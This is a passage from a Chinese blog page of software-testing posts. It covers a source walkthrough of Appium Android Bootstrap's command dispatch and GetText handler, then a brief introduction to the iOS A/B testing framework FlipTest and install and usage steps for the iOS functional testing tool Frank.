  這個map指定了我們支持的pc端過來的所有action,以及對應的處理該action的類的實例,其實這些類都是CommandHandler的子類基本上就只有一個:去實現CommandHandler的虛擬方法execute!要做的事情就大概就這幾類:
  控件相關的action:調用AndroidElement控件的成員變量UiObject el對應的方法來執行真實的操作
  UiDevice相關的action:調用UiDevice提供的方法
  UiScrollable相關的action:調用UiScrollable提供的方法
  UiAutomator那5個對象都沒有的action:該調用InteractionController的就反射調用,該調用QueryController的就反射調用。注意這兩個類UiAutomator是沒有提供直接調用的方法的,所以只能通過反射。更多這兩個類的信息請翻看之前的UiAutomator源碼分析相關的文章
  其他:如取得compressedLayoutHierarchy
  指導action向CommandHandler真正發生轉換的地方是在這個AndroidCommandExecutor的execute方法中:
public AndroidCommandResult execute(final AndroidCommand command) {
try {
Logger.debug("Got command action: " + command.action());
if (map.containsKey(command.action())) {
return map.get(command.action()).execute(command);
} else {
return new AndroidCommandResult(WDStatus.UNKNOWN_COMMAND,
"Unknown command: " + command.action());
}
} catch (final JSONException e) {
Logger.error("Could not decode action/params of command");
return new AndroidCommandResult(WDStatus.JSON_DECODER_ERROR,
"Could not decode action/params of command, please check format!");
}
}
  它首先叫上面的AndroidCommand解析器把json字串的action給解析出來
  然后通過剛提到的map把這個action對應的CommandHandler的實現類給實例化
  然后調用這個命令處理類的execute方法開始執行命令
  3. 命令處理示例
  我們這里就示例性的看下getText這個action對應的CommandHandler是怎么去通過AndroidElement控件進行設置文本的處理的:
public class GetText extends CommandHandler {
/*
* @param command The {@link AndroidCommand} used for this handler.
*
* @return {@link AndroidCommandResult}
*
* @throws JSONException
*
* @see io.appium.android.bootstrap.CommandHandler#execute(io.appium.android.
* bootstrap.AndroidCommand)
*/
@Override
public AndroidCommandResult execute(final AndroidCommand command)
throws JSONException {
if (command.isElementCommand()) {
// Only makes sense on an element
try {
final AndroidElement el = command.getElement();
return getSuccessResult(el.getText());
} catch (final UiObjectNotFoundException e) {
return new AndroidCommandResult(WDStatus.NO_SUCH_ELEMENT,
e.getMessage());
} catch (final Exception e) { // handle NullPointerException
return getErrorResult("Unknown error");
}
} else {
return getErrorResult("Unable to get text without an element.");
}
}
}
  關鍵代碼就是里面通過AndroidCommand的getElement方法:
  解析傳進來的AndroidCommand實例保存的pc端過來的json字串,找到’params‘項的子項’elementId'
  通過這個獲得的id去控件哈希表(請查看《Appium Android Bootstrap源碼分析之控件AndroidElement》)中找到目標AndroidElement控件對象
  然后調用獲得的AndroidElement控件對象的getText方法:
  最終通過調用AndroidElement控件成員UiObject控件對象的getText方法取得控件文本信息
  4. 小結
  bootstrap接收到appium從pc端發送過來的json格式的鍵值對字串有多個項:
  cmd: 這是一個action還是一個shutdown
  action:如果是一個action的話,那么是什么action,比如click
  params:擁有其他的一些子項,比如指定操作控件在AndroidElementHash維護的控件哈希表的控件鍵值的'elementId'
  在收到這個json格式命令字串后:
  AndroidCommandExecutor會調用AndroidCommand去解析出對應的action
  然后把action去map到對應的真實命令處理方法CommandHandler的實現子類對象中
  然后調用對應的對象的execute方法來執行命令
相關文章:
Appium Android Bootstrap源碼分析之簡介
Appium Android Bootstrap之控件AndroidElement

posted @ 2014-12-23 00:25 順其自然EVO 閱讀(2638) | 評論 (0)編輯 收藏

Fliptest—iOS 的應用A/B測試框架

 FlipTest是專為iOS設計的移動應用A/B測試框架,通過它,開發者可以無需重新向App Store提交應用或重構代碼,只需添加一行代碼,即可直接在iOS應用上進行A/B測試。對移動應用做 A/B 測試是非常難的,而 FlipTest 可以幫你簡化這個過程。
  對于想要追求UI極致的開發者而言,FlipTest絕對是最合適的測試框架。FlipTest會為應用選擇最恰當的用戶界面,還會基于外觀、可用性等眾多因素返還測試結果,從而幫助開發者徹底解決UI問題。

posted @ 2014-12-23 00:22 順其自然EVO 閱讀(2822) | 評論 (0)編輯 收藏

iOS功能測試工具 Frank

  Frank也是一款深受開發者喜愛的iOS應用測試框架,該框架可以模擬用戶操作對應用程序進行黑盒測試,并使用Cucumber作為自然語言來編寫測試用例。此外,Frank還會對應用測試操作進行記錄,以幫助開發者進行測試回顧。
  一、基本介紹
  Frank是ios開發環境下一款實現自動測試的工具。
  Xcode環境下開發完成后,通過Frank實現結構化的測試用例,其底層語言為Ruby。作為一款開源的iOS測試工具,在國外已經有廣泛的應用。但是國內相關資料卻比較少。其最大的優點是允許我們用熟悉的自然語言實現實際的操作邏輯。
  一般而言,測試文件由一個.feature文件和一個.rb文件組成。.feature文件包含的是測試操作的自然語言描述部分,內部可以包含多個測試用例,以標簽(@tagname)的形式唯一標識,每個用例的首行必須有Scenario: some description;.rb文件則是ruby實現邏輯,通過正則表達式匹配.feature文件中的每一句自然語言,然后執行相應的邏輯操作,最終實現自動測試的目的。
  二、安裝
  1.       Terminal 輸入sudo gem install frank-cucumber,下載并安裝Frank
  2.       Terminal 進入工程所在路徑,工程根目錄
  3.       輸入:frank-skeleton,會在工程根目錄新建Frank文件夾
  4.       返回Xcode界面,右鍵Targets下的APP,選擇復制,Duplicate only
  5.       雙擊APPname copy,更改副本名,例如 Appname Frankified
  6.       右擊APP,Add Files to Appname……
  7.       勾選副本,其余取消選定。選擇新建的Frank文件夾,Add.
  8.       選擇APP,中間部分Build Phases選項卡,Link Binary With LibrariesàCFNetwork.framework,Add.
  9.       依舊中間部分,選擇Build Settings選項卡,Other Linker Flags,雙擊,添加“-all_load”和“ObjC”
  10.   左上角,Scheme Selector,在RUN和STOP按鈕的右邊,選擇Appname copy-IPHONE
  11.   瀏覽器中打開http://localhost:37265,可以在瀏覽器中看到植入Frank的應用
  我在添加了兩個flag之后老是報錯,嘗試了N種方法之后索性全部刪掉,結果就可以了,無語
  三、基本步驟
  1.       terminal 切換到Frank文件夾所在目錄
  2.       frank launch, 打開simulator,開始運行(默認是用IPHONE simulator,要用IPAD simulator時,需要如下命令行,添加參數:frank launch --idiom ipad)
  3.       cucumber Frank/features/my_first.feature --tags @tagname (注意tags前面兩個‘-’)PS:如果沒有tag則自動運行文件中所有case

posted @ 2014-12-23 00:22 順其自然EVO 閱讀(2903) | 評論 (0)編輯 收藏

僅列出標題  下一頁
<2019年8月>
28293031123
45678910
11121314151617
18192021222324
25262728293031
1234567

導航

統計

常用鏈接

留言簿(54)

隨筆分類

隨筆檔案

文章分類

文章檔案

搜索

最新評論

閱讀排行榜

評論排行榜

魔法糖果闯关